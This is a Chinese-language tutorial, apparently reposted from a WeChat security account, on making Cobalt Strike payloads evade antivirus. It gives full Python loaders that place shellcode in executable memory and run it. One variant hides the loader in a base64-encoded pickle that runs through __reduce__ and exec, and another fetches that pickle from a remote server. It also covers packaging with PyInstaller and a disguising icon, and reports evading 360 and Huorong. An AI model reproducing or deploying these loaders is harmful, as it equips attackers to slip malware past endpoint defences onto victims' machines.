Part1基本概念
0x01:什么是免杀?
免杀就是反病毒技术,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以对初学者来说难度会很高,初学者不会或没能力接触这技术的深层内容。 其内容基本上都是修改WebShell、病毒、木马、远控等等的内容,改变他们的特征码,从而躲避了杀毒软件的查杀。 免杀好比就是一次战役,你可以当间谍,也可以当敢死队,只要你不被结束进程,被删除木马等文件就行。
0x02:免杀的几种常用方式
特征码免杀(消除shellcode和硬编码字符串)
花指令免杀(垃圾指令免杀)
加壳免杀
内存免杀
分离免杀
资源修改
白名单免杀
.......
0x03:什么是shellcode?
shellcode是一小段代码,可以用于软件漏洞利用的载荷。Shellcode是溢出程序和蠕虫病毒的核心,它通常以利用漏洞获取shell为目的,所以得名shellcode。Shellcode通常是以机器码形式编写的,需要将它存放到内存中并执行。
0x04:需要用到的一些东西
python ctypes模块:
ctypes是Python的外部函数库。它提供了与C兼容的数据类型,并允许调用DLL或共享库中的函数。
具体可参考文末的官方文档:
https://docs.python.org/zh-cn/3/library/ctypes.html?highlight=ctypes#module-ctypes
python pyinstaller打包模块:
PyInstaller是一个能将Python程序转换成单个可执行文件的程序,操作系统支持Windows, Linux, Mac OS X, Solaris和AIX。
本次使用的打包命令为:pyinstaller -F -w py文件
dll动态链接库:
动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL),是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。这些库函数的扩展名是 ”.dll"、".ocx"(包含ActiveX控制的库)或者 ".drv"(旧式的系统驱动程序)。
Part2实现过程
0x04:python实现shellcode加载
加载过程:
直接加载:
直接将shellcode加载到内存中并执行
申请内存空间
将shellcode复制到内存空间中
创建线程执行shellcode并等待线程结束
反序列化加载:
maker
将loader的代码进行编码、变形
将loader代码封装到类中,在类中定义魔法函数,通过执行exec来执行loader代码
对类进行序列化
exp
将类反序列化,执行其中的魔法函数
远程读取:
读取远程服务器中的shellcode.txt(存放的是经过maker.py制作好的shellcode)
直接加载shellcode执行:
首先生成shellcode(这里以cs的shellcode为例)
靶机为64位系统的要勾选Use x64 payload
打开python文件可以获得到里面的shellcode
shellcode内容为:
xfcx48x83xe4xf0xe8.........x38x00x00x00x00x00
将生成的shellcode放到编写的loader中,将shellcode转成btye数组传给shellCodeLoader函数
shellCodeLoad(bytearray(
b'xfcx48x83xe4xf0xe8.........x38x00x00x00x00x00'))
默认为32位系统,如果为64位系统需要添加以下代码
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
VirtualAlloc函数:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
};
调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
RtlMoveMemory函数:
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
CreateThread函数:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize, #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针
LPVOID lpParameter, #向线程函数传递的参数
DWORD dwCreationFlags, #线程创建属性
LPDWORD lpThreadId #保存新线程的id
)
利用CreateThread函数创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
WaitForSingleObject函数:
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
利用WaitForSingleObject函数等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
完整代码:
import ctypes
# shellcode加载
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
if __name__ == "__main__":
shellCodeLoad(bytearray(
b'xfcx48x83xe4xf0xe8xc8x00x00x00x41..........x32x38x00x00x00x00x00'))
运行上线cs
反序列化加载:
对shellcode进行简单的base64加密
XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTB...............lXHgzOFx4MzBceDJlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA=
对加密后的shellcode进行解密
shellcode = base64.b64decode(shellcode)
使用三引号将loader内容转为字符串类型,里面的shellcode一定要先加密,不加密直接用16进制的话会导致错误,而且如果只在loader使用import ctypes引用模块,后面打包成exe文件会报错
loader = '''
# 经过base64加密的shellcode
shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTB...............lXHgzOFx4MzBceDJlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA="
# 解密shellcode
shellcode = base64.b64decode(shellcode)
# 将shellcode从str转换为bytes
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
'''
对loader代码进行base64加密
loader_b64 = base64.b64encode(loader.encode('utf-8'))
定义一个类,用来序列化类,类中的执行exec方法,exec方法执行前面转成字符串的loader函数,当被反序列化时就会执行__reduce__这个魔法函数
class A(object):
def __reduce__(self):
# 当反序列化时会执行exec,exec在执行loader中的代码
return (exec,(base64.b64decode(loader_b64),))
将该类进行序列化并进行base64加密
# 先序列化类再对序列化内容进行base64加密
txt_b64 = str(base64.b64encode(pickle.dumps(A())))
print(txt_b64)
先进行base64解码再进行反序列化,并执行loader代码
# base64解码再进行反序列化,并执行loader函数
shellcode = base64.b64decode(txt_b64)
pickle.loads(shellcode)
完整代码:
maker.py
import base64
import pickle
import codecs
import ctypes
loader = '''
# 经过base64加密的shellcode
shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj.................JlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA="
# 解密shellcode
shellcode = base64.b64decode(shellcode)
# 将shellcode从str转换为bytes
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
'''
loader_b64 = base64.b64encode(loader.encode('utf-8'))
# 要序列化的类
class A(object):
def __reduce__(self):
# 当反序列化时会执行exec,exec在执行loader中的代码
return (exec,(base64.b64decode(loader_b64),))
# 先序列化类在对序列化内容进行base64加密
txt_b64 = str(base64.b64encode(pickle.dumps(A())))
print(txt_b64)
exp_bendi.py
import requests
import base64
import urllib
import pickle
import codecs
import ctypes
# 本地读取序列化内容
txt = b'gASV6RgAAAAAAACMCGJ1aWx0aW5zl................XBlcy5jX2ludCgtMSkpCpSFlFKULg=='
# 对获取到的base64编码的loader进行解码
shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数
pickle.loads(shellcode)
打包成exe(可以自行添加图标进行混淆视野)
pyinstall -F -w exp_bendi.py
生成exe程序后,打开360杀毒、360安全卫士、火绒后进行运行前查杀以及运行后的杀毒自检测后进行cs上线
发现已经成功躲避杀软查杀成功上线(关闭上传云和用户体验计划后运行,否则将会在很短一段时间内特征就会被标记,从而导致免杀的失效)
远程请求反序列化的shellcode加载:
将上面生成的txt_b64存放到服务器中的shellcode.txt文件中
gASV6RgAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFjKGAAACiMg57uP6L+HYmFzZTY05Yqg5a+G55qEc2hlbGxjb2
............ICAgICAgIGN0eXBlcy5jX2ludCgtMSkpCpSFlFKULg==
远程读取服务器中shellcode.txt内容,如果要用request获取相应包内容的话需要将str类型转换成bytes类型
# 远程读取服务器shellcode.txt内容
try:
txt = urllib.request.urlopen('http://192.168.80.135/shellcode.txt').read()
except Exception as e:
pass
对获取到的txt进行base64解码和反序列化
# 对获取到的base64编码的loader进行解码
shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数
pickle.loads(shellcode)
完整代码:
maker.py与上面的maker.py相同
exp.py
import requests
import base64
import urllib
import pickle
import codecs
import ctypes
# 远程读取服务器shellcode.txt内容
try:
txt = urllib.request.urlopen('http://192.168.80.135/shellcode.txt').read()
except Exception as e:
pass
# 对获取到的base64编码的loader进行解码
shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数
pickle.loads(shellcode)
打包成exe文件(可以自行添加图标进行混淆视野)
pyinstall -F -w exp.py
生成exe程序后,打开360杀毒、360安全卫士、火绒后进行运行前查杀以及运行后的杀毒自检测后进行cs上线
发现也是已经成功躲避了杀软查杀成功上线(关闭上传云和用户体验计划后运行,否则将会在很短一段时间内特征就会被标记,从而导致免杀的失效)
原文始发于微信公众号(DX安全实验室):使用python加载shellcode免杀上线cs
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论